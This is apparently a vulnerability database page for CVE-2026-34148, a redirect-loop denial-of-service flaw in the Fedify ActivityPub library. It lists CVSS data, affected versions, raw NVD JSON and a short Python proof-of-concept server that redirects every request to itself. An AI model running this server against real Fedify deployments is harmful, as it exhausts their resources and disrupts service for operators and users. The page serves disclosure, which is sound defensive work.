Security Vulnerability Report
中文
CVE-2026-34148 CVSS 7.5 HIGH

CVE-2026-34148

Published: 2026-04-06 16:16:34
Last Modified: 2026-04-25 18:03:03

Description

Fedify is a TypeScript library for building federated server apps powered by ActivityPub. Prior to 1.9.6, 1.10.5, 2.0.8, and 2.1.1, @fedify/fedify follows HTTP redirects recursively in its remote document loader and authenticated document loader without enforcing a maximum redirect count or visited-URL loop detection. An attacker who controls a remote ActivityPub key or actor URL can force a server using Fedify to make repeated outbound requests from a single inbound request, leading to resource consumption and denial of service. This vulnerability is fixed in 1.9.6, 1.10.5, 2.0.8, and 2.1.1.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:fedify:fedify\/fedify:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:fedify:fedify\/fedify:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:fedify:fedify\/fedify:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:fedify:fedify\/fedify:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:fedify:fedify\/vocab-runtime:*:*:*:*:*:node.js:*:* - VULNERABLE
cpe:2.3:a:fedify:fedify\/vocab-runtime:*:*:*:*:*:node.js:*:* - VULNERABLE
Fedify < 1.9.6
Fedify < 1.10.5
Fedify < 2.0.8
Fedify < 2.1.1

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC: Malicious HTTP server causing infinite redirect loop import http.server import socketserver class MaliciousHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): # Respond with 301 Redirect pointing to itself self.send_response(301) self.send_header('Location', self.path) self.end_headers() PORT = 8080 with socketserver.TCPServer(("", PORT), MaliciousHandler) as httpd: print(f"Malicious server running at port {PORT}") httpd.serve_forever()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-34148", "sourceIdentifier": "[email protected]", "published": "2026-04-06T16:16:34.387", "lastModified": "2026-04-25T18:03:02.780", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Fedify is a TypeScript library for building federated server apps powered by ActivityPub. Prior to 1.9.6, 1.10.5, 2.0.8, and 2.1.1, @fedify/fedify follows HTTP redirects recursively in its remote document loader and authenticated document loader without enforcing a maximum redirect count or visited-URL loop detection. An attacker who controls a remote ActivityPub key or actor URL can force a server using Fedify to make repeated outbound requests from a single inbound request, leading to resource consumption and denial of service. This vulnerability is fixed in 1.9.6, 1.10.5, 2.0.8, and 2.1.1."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-400"}, {"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fedify:fedify\\/fedify:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "1.9.6", "matchCriteriaId": "ECF8706E-2E6C-4A6A-8F8C-DE9933F39224"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fedify:fedify\\/fedify:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "1.10.0", "versionEndExcluding": "1.10.5", "matchCriteriaId": "BF4917D5-C6AA-45E3-B5F6-B3DCEF460212"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fedify:fedify\\/fedify:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "2.0.0", "versionEndExcluding": "2.0.8", "matchCriteriaId": "DD7D6EB1-0E97-43AE-9412-FA558F8FFA6B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fedify:fedify\\/fedify:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "2.1.0", "versionEndExcluding": "2.1.1", "matchCriteriaId": "0613E25B-2982-4E31-A7FB-5FF0F10FA724"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:fedify:fedify\\/vocab-runtime:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2.0.8", "matchCriteriaId": "C298320F-CF10-4C9F-B8B5-F96ACDBFA963"}, {"vulnerable": true, "criteria": "cpe:2.3:a:fedify:fedify\\/vocab-runtime:*:*:*:*:*:node.js:*:*", "versionStartIncluding": "2.1.0", "versionEndExcluding": "2.1.1", "matchCriteriaId": "B6CC76BF-8504-4630-832A-F5EA09191546"}]}]}], "references": [{"url": "https://github.com/fedify-dev/fedify/releases/tag/1.10.5", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/fedify-dev/fedify/releases/tag/1.9.6", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/fedify-dev/fedify/releases/tag/2.0.8", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/fedify-dev/fedify/releases/tag/2.1.1", "source": "[email protected]", "tags": ["Release Notes"]}, {"url": "https://github.com/fedify-dev/fedify/security/advisories/GHSA-gm9m-gwc4-hwgp", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}, {"url": "https://github.com/fedify-dev/fedify/security/advisories/GHSA-gm9m-gwc4-hwgp", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Vendor Advisory"]}]}}